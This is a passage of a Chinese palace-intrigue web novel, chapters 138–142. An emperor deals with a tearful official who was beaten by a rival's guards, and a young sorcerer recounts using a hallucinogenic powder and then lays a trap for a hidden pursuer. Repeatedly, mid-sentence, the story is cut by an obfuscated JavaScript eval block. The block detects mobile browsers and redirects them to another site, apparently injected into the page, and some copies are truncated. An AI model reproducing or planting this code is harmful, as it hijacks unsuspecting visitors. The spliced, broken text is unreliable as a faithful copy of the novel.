若鬼师不去找徐敬意,而是直接进宫来,那郑遂也正好有机会探听明白鬼是真正的意图。 总而言之,鬼师进京对于郑遂来说,并不完全是坏事。 正在二人低声交谈间,外边忽然传来了王喜的通报声。 “陛下,刑部侍郎康大人来了。” 康满? 他来做什么? 郑遂坐直了身子。 这个康满也是徐敬意的手下之一,但他却是个小不起眼的人物,手中权力也不大,就连徐敬意自己也没有把他放在眼里。 所以,这些日子不管徐敬意之前的那些党员如何跑到自己面前来花言巧语,康满都从来没有参与过。 可以说这个人虽然被徐敬意所收拢,但其实也是个墙头草。 这大概也与他如今的身份并不算尊贵有关。 所以他不管跟谁,都不会有什么太难看的下场。 哪怕是徐敬意有一天**了,他也没有真的做过什么事,最多就也是与徐敬意交好而已,郑遂就算是处罚,也不必过重,到最后也不过是将他贬官而已。 不过这会儿康满前来,却是让郑遂嗅到了一股风雨欲来的意味。 如今自己正在称病不出,这康满这会儿过来,难道是为了替徐敬意打听情况的? 本想着,不让康满进来了。 而是思索再三后,却又觉得这面必须得见。 不管是不是徐敬意又起了什么幺蛾子,总归知己知彼百战不殆。 于是郑遂转头对着影巫轻轻挥了挥手,影巫立刻起身躲到了屏风之后。 很快康满就被王喜给带了进来,可他一进门,却把郑遂给吓了一跳。 这康满的眼眶上乌青了一大块,一看就是被人给狠狠的揍了一拳。 甚至这会儿还眼眶含泪,一副窝囊相。 进了门就扑通一声,跪在了郑遂的面前:“微臣康满,给陛下请安。” 郑遂疑惑的撇了他一眼,随即转头给王喜递了个眼神。 只见王喜微微摇头,似乎也是不明白为何康满会弄得如此狼狈。 见状郑遂便挥挥手,让王喜退下。 随即装作一副虚弱的样子,咳嗽了两声,随后才走上前,亲手扶起了康满。 “康大人这是怎么了?为何如此狼狈?” 康满的表情极为难堪,几乎整张脸都皱在一起。 听到郑随问的这句,竟然直接忍不住哭了出来。 “陛下,微臣无能,在陛下面前失仪了,陛下恕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287968|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罪。” “好了好了,你快别说这些了,先坐下。” 郑遂站起身来,挥挥手示意康满坐下。 康满颤颤巍巍的起身,在郑遂落座之后,他才小心翼翼的坐在了一旁的椅子上。 随后才终于开口说道:“陛下,微臣有罪,微臣曾经的确和徐相走得很近。” 说着,康满竟又起身,扑通一声又跪下了。 郑遂忍不住挑了挑眉。 哦? 这是何意?难道是要主动向自己请罪不成? “康大人此言何意?朕倒是有些听不懂了。” “陛下,微臣自知卑微,曾经徐相主动来与微臣交好,微臣也不敢拒绝。当初陛下受困,微臣更是没有为陛下尽办法的心意。只是微臣当真没有参与徐相之事啊,微臣只不过就是一个小不起眼的角色,哪里敢去做那些,又哪里敢指望着自己能得到重用呢?” 可是康满也没有想到,徐敬意竟然一怒之下让人对他动了手。 “微臣今日好端端的走在路上,突然就被人给拦住了。其中瞧着有几个脸熟的,就是徐敬意院里的护卫。他们上前二话不说,就直接揍了微臣一顿啊!” 康满哭的上气不接下气,一脸的窝囊样,瞧着就让人觉得恼火。 “微臣知道陛下正在养病,这种是不该拿来叨扰陛下的,可是微臣实在不解,灰尘是真的委屈啊。” 说完这话,康满就哭得更厉害了。 倘若不是场合不合适,估计他都要嚎啕大哭了。 郑遂心中的第一个念头是康满跑到自己面前故作可怜,所以并未回应,只是死死的盯着康满。 可观察来观察去,竟没从他脸上看到半分作戏的痕迹。 难不成,徐敬意还真的让人打了他一顿? 忽然之间郑遂就有些明白为什么徐敬意不肯重用康满了。 就他这窝囊样子换成是谁谁也不会把他放在眼里的。 不过好好的,徐敬意派人打他干什么? 就算徐敬意要出气,不也该是去找那些主动拉帮结派,抛弃徐敬意靠拢自己的那些人吗? 第138章 朕一定为你做主 郑遂便又追问道:“你是为何遇上了他们?当真没有发生任何摩擦?” 康满的神色忽然变得有些不自在起来。 犹豫再三,康满说道。 “陛下,微臣属实不敢隐瞒。此事若说没有微臣的责任,微臣就算是万死,也不敢作此保证。只是微臣真的没有主动得罪他们。” 康满就是偶然路过,撞上了几个徐敬意的人。 那几个人看着行色匆匆的,似乎是有急事要去做。 康满虽然好奇但是也不敢上前去问,所以就打算避开他们,毕竟他现在也不想和徐敬意扯上什么牵连。 可今日出门就是为了给他家夫人买桂花糕去的,临出门之前,夫人还特地嘱咐不要在外流连,尽快回来,所以康满有些着急。 这一不留神就撞上了那几个。 本来就是个小摩擦,道个歉也就完事了,谁知道那几个人转头一看发现是康满,竟然就和他推推搡搡了起来。 言语间也是极为不客气,话里话外的都是说康满曾经,不过就是徐敬意身边的一条狗,是徐敬意给他活路,还有他一口饭吃。 结果现在徐敬意回京重病在家,康满连看都不看一眼,属实是没有良心。 康满当时真是冤枉极了。 他虽然知道徐敬意回来的消息,可却也知道徐敬意是悄悄回京城的。 至于他在外头发生了什么,康满哪里能知道啊? 虽然郑遂如今并没有治徐敬意私自回京城之罪,可这件事也是可大可小。 康满寻思着,大概现在郑遂也是还没决定好究竟何时处理徐敬意,所以此事便暂时按住不提了。 但若是放在往后,郑遂有能力处置掉他的时候,只需将此事知会下去,让朝臣们在上朝之时参他一本,徐敬意定会吃不了兜着走。 在这种情况下,康满如何能去看望徐敬意? 毕竟别人也都没去。 当然了,这种话康满只能在心里想一想,并没有直接告诉给郑遂。 便说道:“微臣就是觉得,与徐敬意这种人不宜来往的过于密切。因此当时他们拿这话来指责微臣的时候,微臣言语间也是没有太客气,可不过就反驳了他们两句,他们就……” 康满又开始哭天抹泪了起来,连连叩首道。 “陛下明鉴,微臣说的句句属实,绝对没有半个字的虚言。他们属实是不讲理,也不知是哪句话戳了他们的心思,他们竟然就对微臣动起手来了。” 徐敬意手下的那些人,虽然折损了大半,可留下来的其实也算得上是精锐。 即便是不能与禁军们碰上一碰,可是做个手无缚鸡之力的文臣,还是绰绰有余。 一通老拳下去就把康满揍的鼻青脸肿,只能跑到宫里来和郑遂告状了。 郑遂看着康满哭的一脸滑稽,想心中忍不住有些想笑。 不过在这种严肃的场合笑出声来的确不是他一个皇帝该有的行为,于是便故作愤怒道, “实在是太不像话了!徐敬意放肆已久,如今都已经卧病在床,竟还不忘欺凌朝中其他官员,咳咳……” 郑遂说着忽然剧烈的咳嗽了起来。 他本就皮肤苍白,此刻略微装上一装就显得一脸病容,康满见状,直接吓了一跳。 连连道:“陛下切勿动怒,是微臣该死,微臣不该用这种小事来叨扰陛下的。” “无妨,无妨……”郑遂挥了挥手。 “此事若不是你来告诉朕,朕竟然不知这徐敬意私底下竟然已经嚣张成了这副样子。连朕都被蒙在鼓里,难道他是要**了不成?” 郑遂说着就咳嗽的更加厉害了起来。 瞧着郑遂满脸痛苦的模样,康满更是吓得三魂去了七魄。 他如今来到郑遂面前,告徐敬意一状事小,倘若郑遂肯袒护他,就算是来日徐敬意想找自己算账,也得掂量掂量几斤几两。 可要是因为他说的这话,把郑遂给气了个半死,那他可就真是没有活路了。 “陛下!陛下您消消气!”康满瞬间也顾不得哭天抹泪了,赶紧跪地恳求。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287969|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>郑遂扶着自己正在剧烈起伏的胸膛,对着康满郑重的道。 “你放心,此事朕既然已经知晓,就必然会还你一个公道,只是在此之前你还需耐心等待。” 康满说了这话,如蒙大赦。 连忙叩首谢恩:“多谢陛下!微臣深感陛下大恩,愿为陛下赴汤蹈火,就算是要了微臣的性命也在所不惜。” “你们仰赖着朕,朕也自然要护住你。”用谁说道,“什么死不死的话,以后就不要再说了,不吉利。” 废话,他怎么可能会需要康满这种人为自己赴汤蹈火。 这人纵然有几分小心机,知道如今被徐敬意给刁难了,要找自己来告状,可就没见过哪家臣子告状能哭得这么难看的这种人,就算是想重用他也找不到重用他的理由。 说出去都嫌丢人好吧。 糊弄完了康满之后,康满就也告辞离开了。 郑遂立刻恢复常态,转身缓缓坐回到了软塌边,对着屏风后说道:“你可以出来了。” 影巫缓缓从屏风后面走了出来,神色也是十分复杂。 他站在郑遂面前纠结了许久,终于忍不住开口问道。 “陛下朝中的臣子都是这般模样吗?” 郑遂笑看着他,微微挑了挑眉。 “怎么你也觉得不成体统是吗?” 影巫有些胆怯的摇了摇头,可最后又忍不住诚实的点了点头。 他在屏风后边把康满的一举一动都看在了眼里,属实是觉得这人有点儿太丢人现眼了。 他也知道,如今作为郑遂的手下做事的圆滑一些,可是他确实是忍不住要点评这康满一番。 就算这朝中的大臣并非个个都是出身,大家可既然围观就得懂得为官之道。 作为朝中臣子却不能喜怒不形于色,岂不是一眼就能叫人看穿了他的心思和本性。 这也难怪,就连徐敬意都不肯重用,他这样的人哪里能拿得出手啊? “在朕面前只需说实话就好,朕喜欢坦率的人。”郑遂说道。 第139章 你这个小孩子倒真有几分本事 见影巫点了点头,郑遂才徐徐补充道。 “朝中之臣,自然不可能人人都如康满一般。只是如今的确是一盘散沙,除了那些忠实可靠的老臣以外,其他的人也确实是有些不成体统。” 影巫忍不住叹了口气,真心实意的说了一句。 “陛下如今真是艰难。” 内忧外患不说,就连这朝臣也是各种各的丢人,郑遂能稳坐如今这个位置,其实已经很不容易了。 说句难听些的话,就算是有一天郑遂真的被谁给拖下了水,那也不是郑遂的责任。 至少他已经真的尽力了。 不过影巫还是希望这一天永远不来的好。 “但是朕要褒奖一下你的能力。”郑遂忽然说道。 影巫的出身虽然不算是那么的光明磊落,但是他的能力却格外的出众。 就单单拿他今天将要送到徐敬意面前的事儿来说吧。 他不留丝毫痕迹,也没有暴露出自己是鬼师的徒弟来,便是这一点,就不是随便一个人可以能与之相较的。 他从鬼师那边学到的易容术,和种种用于迷惑人的东西,确确实实是派上了大用场。 可见这世间并非所有事都是非黑即白,即便是被人人唾弃的巫蛊术,用到正道上也是能起到很大的作用的。 所以郑遂心想,巫蛊之术,或许从一开始的时候,真的不是用来害人的法子。 只是人心不古,时间一长,这巫蛊之术也渐渐偏离了最初始的模样。 思绪有些跑偏,郑遂连忙收了回来,就见对面的影巫垂着头,有些腼腆的笑了。 “陛下称赞,属下不敢当。” “你要正视自己的能力。”郑遂劝说道。 “你这一身本事,只要能够用在正道上,不说日后前景有多好,可至少能保证你在这世间安身立命。好好揣着你这身本事和福气,别丢了才是。” 影巫认真地点了点头。 “属下知道了。” 郑遂应了一声:“不过话说回来,你究竟是用了什么办法将那些人给甩脱的?” 这小孩子虽然看着身体瘦弱,不过这几日闲暇时间,郑遂也让他在自己面前展示了一下。 看得出来,他只是表面看着弱,性情也相对温和,所以才会显得他这个人软弱好欺负。 但是实际上,他这一身本事和武功不容小觑。 尤其是那精湛的身法,就连禁军看了都忍不住拍手叫好。 而且他还是以柔克刚的功夫,虽然不能在战场之上正面迎敌,但他却极其擅长在暗地里行事,且能保得自己顺利脱身。 只是虽然已经知道了他这一身功夫,却仍是怎么也猜不到他是如何将徐敬意的手下给甩在了脑后,至今为止还没让他们找到影巫的踪迹,甚至一怒之下还给康满打了一顿。 其实郑遂之前并不好奇,至于手下具体有什么样的本事,郑遂也并非全然都要知晓。 毕竟每个人可能都有一些不能宣之于口的事,每个人也都需要在一定程度上隐藏自己的实力。 只是郑遂听得出来,那些把康满暴揍一顿的人,分明是因为找不到影巫才过于气愤顺手,就把他给揍的兴奋。 但是细细一想又觉得徐敬意的手下不至于那么鲁莽,尤其是在徐敬意如今已经大不如前的情况下。 这些人的忽然暴躁显得很反常啊。 所以郑遂也不得不对这件事好奇了。 影巫倒是没有任何遮遮掩掩,拱手弯下腰去,有些不好意思的对着郑遂解释道。 “当时用了一些**。” 那些**与寻常所见的**并不大相同。 常人所知的**都是那些用过之后便会让人昏睡的,但是影巫所用的那种却是他的独家配方。 这种**药粉化在水里一丁点,就可以起到很大的作用。 用的时候也只需要浸润在手帕之中,带手帕晾干之后,在人的面前轻轻的挥一挥,便可起到致幻的作用。 而且所制造的幻觉还分好几个类型。 有些个是可以让人看到钱才有些个是可以让人看到女人,而有些个则会勾起人最痛苦的回忆。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287970|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 甚至有一些,还可以根据人心中最深处的欲望来显现。 对什么事情最贪婪,对什么最意难平,在幻境之中就会看到什么? 而今天影巫为了方便,随手拿的就是浸润了可以让人生出沉溺于美色之中的药粉手帕。 郑遂听了影巫的解释之后,愣了一会儿,突然就忍不住爆笑如雷。 “你啊你啊……”郑遂抬手隔空点了点影巫。 “没想到你这小孩子年纪不大,心思倒是够多的。” 都说英雄难过美人关,就更别提是一个普通的男人了。 那些个手下常年习武,日常枯燥乏味,而且多半都是死士,一生都不能娶妻生子。 平日里除了主子格外恩赏他们**以外,几乎常年都见不到女人,加之有这个遗憾,心里可不正是憋了一股火,难以发泄吗? 影巫用了那药之后,他们产生幻觉,以为自己正在美女窝里,估计早就在那幻觉之中,沉溺其中了。 而影巫的药最绝的一点就在于它会让人在幻觉之中看到特定的、或者是人心中最想要的东西。 但却绝对不会让他得到。 譬如女人,就算是在那幻觉之中,围绕在自己身边的女人再怎么多,就算天下的女人都恨不得对他前仆后继,他也绝对不会做到最后一步。 等那些个人沉溺在其中,已经馋的恨不得的流口水,急的马上就要脱裤子的时候,突然就从幻觉之中脱离。 结果发现自己还站在大街之上,说不准周围还有路过的行人,用异样的眼神看着表情古怪的他们,他们能不生气吗? 难怪今天康满只是不小心的撞了他们一下就换来了一通老去。 原来都是影巫的功劳。 郑遂又忍不住拍腿大笑:“哈哈哈哈哈!没想到你一个小孩子,竟然还能想到这里去!” 这一招可谓是真的阴损至极,但却不得不承认,也让人痛快至极。 郑遂甚至忍不住心想,等到时机合适的时候,也得给徐敬意用上一用,说不定还能促进他们的计划进行呢。 第140章 故意扰乱视听 影巫被郑遂笑得更加不好意思了起来,小脸憋得通红,脚尖儿局促不安的蹭着地,仿佛无迹自容了似的。 郑遂留意到了他的异样,便连忙停止了笑,对影巫说道。 “你不必觉得羞愧,朕也没有嘲讽你的意思,朕只是觉得你这药用的极妙。不过话说回来,这是你自己所创的秘方,还是在鬼师教给你的基础上改良的?” “回陛下,这都是属下的独创。不过比起师父,想来这些雕虫小技根本就入不了他的眼。”影巫谦逊地说道。 “你也不必如此谦虚。”郑遂大手一挥。 “能做出来自然就是你的本事,连鬼师都不懂的东西你却懂,可见你比他更懂得如何操控人心。” 影巫叹了口气,近乎喃喃自语一般的低声说道。 “可是会操纵人心,似乎并不是什么好事。” 很多人都痛恨他们这样的巫蛊师,其根本原因并不在于他们这一身本事,会让人在肉体上感到痛苦,更重要的是心灵上的痛苦。 这种痛苦是无法用言语来形容的,甚至正沉浸在这种痛苦之中的人也无法体会得到这种痛苦到底该属于什么类别。 这就是所谓的**诛心。 但郑遂却以为,以兵不血刃的方式,从其弱处找道缝隙,将其击垮,是一种性价比极高的解决方式。 甚至心中已经忍不住遗憾的叹了口气。 他要是早就知道有影巫这个人的存在就好了。 如果他能早早的把影巫带来身边,说不定二人合作,根本就不需要费那么大的力气来对付徐敬意呢。 不过世间之事大多都是缘分吧。 比如说徐静意若不是被韩王给掳了去,徐妍还恰巧知道影巫的存在,郑遂也不会想到要去寻找影巫。 可见世间的事都是一环扣一环,缺少其中一环,哪怕只是一个细枝末节,都兴许达成不了如今的结果。 过去已然不可追忆,那就珍惜现在吧。 “朕还有一件事急于去解决。”郑遂说道。 “你被朕带进宫的事未曾传出过半点消息,就连出入的密道也都是那些禁军在暗中修缮的但是这件事却被人在暗中知晓了,并且传到了徐妍那里去。” 听到这个消息,影巫忍不住倒吸了一口凉气。 郑遂一直在趁着徐敬意离开的这段时间巩固自己的皇权,可以说现在的已经不用再像以前那样,时时刻刻都要担心自己的安危了。 而且乾清宫一直看管的很严,别看这明面上乾清宫里并没有几个奴仆,可其实个个都是郑遂的心腹。 甚至郑遂还从禁军之中调来了几个可堪重用的,让他们扮作宫中的奴仆日日守在乾清宫里,职责就是护卫。 在必要的时刻他们可是得比宫中的侍卫还要冲在更前边一些的位置,为郑遂厮杀拼命的那些。 然而就是在这样严苛的管理之下,竟然还是有人暗中窥探到了郑遂这边的动静。 别看郑遂所知道的只有影巫这一件事,但是背地里那人究竟刺探了多少情报还未可知呢。 谁知道他究竟是藏在暗处的另外一股势力,还是曾经的旧人又暗戳戳的使了什么手段。 如果是前者的话,那就有点不妙了。 “所以朕想问问你的意见。” 影巫挠了挠头,思索了良久之后他说道。 “如今明面上的这些敌人看上去个个都有,可能哪怕是徐敬意,如今苟延残喘像条。老狗一般活着,可也无法保证,他绝对不会做出这样的事来。只是属下觉得,这件事儿似乎并不是他们做的。” 他们个个都有做这件事的理由,但是却没有必要。 因为大家都是已经摆在明面上的敌人了,就算是暗中窥探,将来他们也应该知晓郑遂这边严防死守,他们就算是挤破了脑袋,也很难从郑遂这边真正探听到什么。 就更别提现在各方势力都正处于一个极为紧绷的状态,他们若是知道了这么重要的事儿,为何不私下里筹谋好了再做打算,而是要第一时间透露给徐妍呢? 如果他是想借着徐妍的手来报复郑遂,那就是有点过于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287971|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异想天开了。 这皇宫之中已经出了一场太后想当女皇的事儿了,就绝对不可能再出第二场。 别看郑遂如今对徐妙晴都没有什么处置的意思,但其实也不过就是时间而已。 所以徐妍就算是因为被封为皇后之事,而被排除了权力的核心,她也不可能敢生出什么歹心来。 如果幕后之人想利用这一点来笼络徐妍,那就太不上算了。 更何况他又怎么能保证徐妍和郑遂之间只是利益的瓜葛,而非没有真正的感情呢? 就连郑遂都不得不承认,他对徐妍是有特殊的感情的,就更别提徐妍对郑遂了。 背后的人为何就不想想万一徐妍真的对郑遂情深几许,将这事告诉给了郑遂怎么办? 而且就算是没有感情,可终究还有那么多利益的牵扯,既然二人现在还是一条线上的蚂蚱,徐妍也不可能在徐敬意落魄的情况下还会去投靠他,那么徐妍就还是会把这件事告诉给郑遂的。 所以单凭这一点,就不可能是互相知根知底的那些早就已经浮上水面的敌人。 大概率就是一股新的势力。 可话又说回来,就算是新的势力不大了解郑遂这边的实际情况,可也不可能一点都不清楚吧。 敢心生歹念的人,不仅要有能力,更要有足够的心机,这两者缺一不可。 所以告诉徐妍这个举动实在是让人觉得很蠢。 影巫思虑了一番之后,试探着开口说道。 “陛下,属下有一个揣测。虽然不知道是不是真的,但属下觉得,如果那人就是知道,皇后娘娘一定会将这件事告诉给陛下,所以才故意将消息透露给了皇后娘娘呢。” 郑遂缓缓皱起了眉。 若是如此,那这个人心机可当真不浅啊。 那么他将这件事故意透露出来的意图又在于什么呢? 是想扰乱郑遂的试听,还是说想故意浮出水面来? 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第141章 是一种失传的术法 但郑遂在思索再三之后得出了一个结论。 两者都不可能。 如果是前者,想搅动局势必然不可能如此贸然出手拉拢徐妍更不是一个很好的选择。 如果是后者,那更没有必要。 若自己有能力,哪怕是如徐敬若那般的人,只要他能够乖乖听话,郑遂也不介意许他权势富贵,但是上来就搞一出下马威的人,郑遂是万万接受不了的。 这样的人难以把控,还未正式浮出水面,就已展现出自己的心机,扶持之后,难免不会生出一些什么不该有的心思来。 “他大约是想探探朕的虚实。”郑遂说道。 看看这皇宫之中,究竟是严防死守的铁桶,还是说已经漏成筛子。 至于为何他知道隐巫进了宫的事,或许,是因为他一直在暗中悄悄尾随着影巫。 他大约也不知道郑遂是怎样悄悄离开皇宫的,又怎么将影巫悄悄的带走的。 但是结合起影巫离开了大牢,他就可以揣测得到影巫绝对没死,而是被郑遂所收拢替他办事去了。 影巫也很快明白了郑遂的意思,随即脊梁上惊出了一层的冷汗。 “如若这般,楚王殿下……” “无妨。”郑遂摇了摇头,“楚王那边有禁军保护暂时无恙,而且朕也打算在册封皇后李成之后就接他进宫。” 这人不可能出自于禁军之中。 如果是那般,他应当早就已经在禁军中进行了策反,不会让禁军替自己去办那些事的。 而且,他所透露的消息并不多,可这却不代表着他是故作高深,相反的,反而透露了他故弄玄虚。 实际上,他除了影巫的下落以外,关于朝中一些细节上的局势,他并不知情。 所以才有如今探听消息这一说。 如若徐妍今天真的动了心,那更好,正好顺了他的意。 就算是徐妍什么都没说,转头就告诉了自己也无所谓,因为这样他便可以知道宫中这边究竟是个什么样的情况了。 “但是农庄那边一旦被发现……”影巫还是有些不放心。 “这并不算是什么大事。”郑遂说道。 “农庄那边的禁军已经撤离的差不多,而且禁军之事已经算是公之于众,只不过是没有昭告天下而已。” 就算是捅出去了也无所谓,因为他们本身就是皇家的正规军。 旁人说不出什么的。 就算是有人对这些禁军起了觊觎之心,郑遂已经提前收拢过了,他们又都是奉皇命办事的,轻易不会生出二心。 而且郑遂之前之所以会做出将禁**移走的决定来,也正是防止这一手。 若有人掏了老巢,总归不是什么好事。 虽然如今那人应该也知道禁军所在的位置,但眼下那边已经小有规模,严防死守之下,他也做不出什么来。 那就好……影巫在心里暗道。 “但是朕有一个任务要交给你。”郑遂说道。 “陛下吩咐,属下定然万死不辞。”影巫连忙跪下。 “倒也不必这么紧张。”郑遂笑了笑。 “朕要你去查明,此人到底是谁。” 这人如今就暗藏在影巫身边,甚至连自己将影巫抓来并且带进皇宫的事都知晓,定然已经是跟踪影无许久了。 不过郑遂觉得,或许他来京城,也和鬼师的动向有所关系。 也许,是为了寻仇也说不准呢。 不过一切都只是猜测,必然得有切实的证据才行。 “至于你用何种手段去调查,朕不干预。”郑遂说道。 “只需要使出你看家的本领,放手一搏就好。” 影巫明白了,即刻就弯下身子,微微拱手。 “属下立刻去办。” 影巫乔装打扮一番,换了一身不显眼的衣裳,在王喜的引领之下悄悄出宫。 走在了大街之上,影巫便微微屏住了呼吸。 这两年他也算是学了一些真本事,只要能够屏息凝神,不然就会变得十分敏锐。 放眼望去,连面前飘过的一粒尘埃在他眼中都变得格外清晰。 至于听觉,更可堪被称之为耳听八方。 就连远处传来的落叶声,在影巫的耳朵里都变得格外清晰起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287972|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐渐的,影巫就察觉到了异常。 让他混在了人流之中,变成了世间最不起眼的一员时,就有人悄悄埋伏在了他身旁,大约十步开外的位置,暗中观察着。 影巫不禁皱了皱眉。 十步开外,这是一个很近的距离了。 自己虽不如鬼师那般诡计多端,但这一身本事亦是不容小觑。 他敢在这么近的位置悄悄观察,可见其胆子到底有多大。 光有胆子还没用,重点是得有实打实的功夫在身上。 这才能让他在被发现之时以最快的速度脱困。 影巫不禁皱了皱眉。 他总觉得,这个人是他的同类。 他虽然没有从那人的身上感受到任何有关于巫蛊师的气息,但却分明能够感觉到,他所散发出来的气息是一个再普通不过的人。 可是问普通人敢大着胆子做这样的事吗? 要知道这种事一旦被发现,影巫大可以生擒了他,直接把他送进宫中任由郑遂处置。 那他的计划可就全都败露了。 所以影巫猜测,他应该不仅是自己的同类,还是功力高强的那种。 从前听鬼师说过,巫蛊之道中有一个早已失传多年的术法,是比易容、幻术都更加厉害几倍的。 此法不仅可以领去自己身上的属于巫蛊师的气息,可以造成一个普通的。 甚至功力高强的,可以以此随意转换身上的气场。 再配合上易容术与幻术,他就可以变成任何一个人。 商人、百姓、官员…… 甚至可能是皇帝。 这是当年巫蛊师被人人唾骂,清剿之时时才出现的术法。 是用于隐藏他们真实的身份,避免大肆**的最有效的手段。 其实这术法说难也并不难,只需要巫蛊师服用下一种特制的蛊虫,再配以术法密语,便可以做到。 但是这种蛊与旁的股不同,母蛊是由巫蛊师自身所操控的。 而当用于操纵的母蛊落在别人手中,则会自动切断与子蛊之间的联系,绝对不会让人借机害了自己的性命。 第142章 此人功力高强 而此法之所以失传,也是因为巫蛊师被清剿的差不多了,余下的都逃进了深山老年之中,甚至伪装成最普通不过的人,正常结婚生子。 世间再难寻其踪迹,那些追兵就也没有必要非得为此卖命。 所以余下的巫蛊师才安全了下来。 既然用不到这个办法,了解此法的人就越来越少,能知道蛊虫如何制作的人也变得寥寥无几。 甚至在世间现存的巫蛊师眼里,这个术法已经成了比他们巫蛊师还要更加歪门邪道的存在。 而且这些年来,因为没有人在针对这些巫蛊师了,巫蛊师们也逐渐有些猖狂,忘记了曾经大祸临头之时的无助,反而是对那些运用此术法逃入深山的先辈们嗤之以鼻。 就连鬼师也不例外。 曾经听鬼师讲的时候,影巫就觉得这个道理有些怪怪的。 若非是因为当初先祖们保全了自身实力又哪里来的他们这些后人呢? 这个道理似乎是有些又当又立了吧。 不过当时影巫一心只听鬼师的,对于这些事并没有深思过,也并不是很在意。 但如今想来,他或许当初就应该多追问鬼师一些,如今就也能分辨清楚身侧这隐隐约约传来的普通人的气息究竟是不是用了那种术法了。 影巫心中微微有些懊恼了起来。 不过他有任务在身,也不只需要这一个法子来揪出对方,所以影巫很快就调整好了自己的心态。 他并没有转头在人群中私下搜寻,因为那样太显眼了。 对方若真是个巫蛊师,很容易就会察觉到自己是在观察的。 所以影巫还是决定按照自己的原计划进行。 他来到了一家客栈,让小二给自己开了一间房。 进入了屋内之后,影巫便关紧了门窗。 确认身旁那若有若无的气息,此刻并不存在之后,影巫来到了床榻边,动手扯起了床上的被褥。 三下五除二,影巫将床上的被褥叠成了一个坐在床边的人的形状。 然后他搬过桌边的椅子,静静的坐在了那个用被子坐的人的对面。 静候片刻之后,影巫感觉到那股气息又开始若有若无的飘荡在身边。 这次的距离虽然稍远了一些,不过这也恰恰向影巫证明了一件事。 他就是巫蛊师。 所以他才有和自己一般的能力,可以耳听八方,眼观四路,甚至不需要太近的距离。 这也是最方便他观察的一种方式。 于是影巫便对着自己面前的假人说道:“陛下吩咐,徐敬意这人断不能留。你留在相府,要时时刻刻盯着那边的动静。虽然现在不是动他的时候,但是你打探出来的消息,却可助力于陛下未来除掉他。” 紧接着影巫声音一变,发出了另外一个,与他的本音完全不相似的男声。 “属下明白,请陛下放心。” “那就好!”影巫恢复了自己的本音。 随后飞速脱掉了自己外头罩着的衣服,弯下腰,将鞋上贴着的花样扯了下来,之后拿过桌上的镜子,对着脸鼓道了歉。 期间影巫一直压低了声音,絮絮叨叨的说着些什么,保证对方可以听见,这是自己和所谓见面那人的密谋。 片刻之后,一张陌生的脸出现在镜子里。 影巫微微缩了缩身子,很好地掩盖住了自己原有的身形。 他对镜欣赏了一下与自己本身的容貌完全不同的,一个相貌平平的青年的脸,微微勾起唇角一笑。 随即摸出腰间的一个小竹筒,推开了窗户,扯动了小竹筒外边的一根引线,将小竹筒扔了出去。 一声闷响,像极了一个人从后窗中翻出去的声音。 随后影巫整理了一下身上的衣裳,转身淡然的朝着门口的方向走去。 影巫一路镇定自若的下楼,在他快走到楼下大堂的时候,那种如影随形的感觉越来越浓烈。 他几乎可以确认这个人就在自己的左前方,距离在十步之内。 大堂里如今人来人往,影巫如今所处的位置正好可以被楼梯挡住他的脸。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 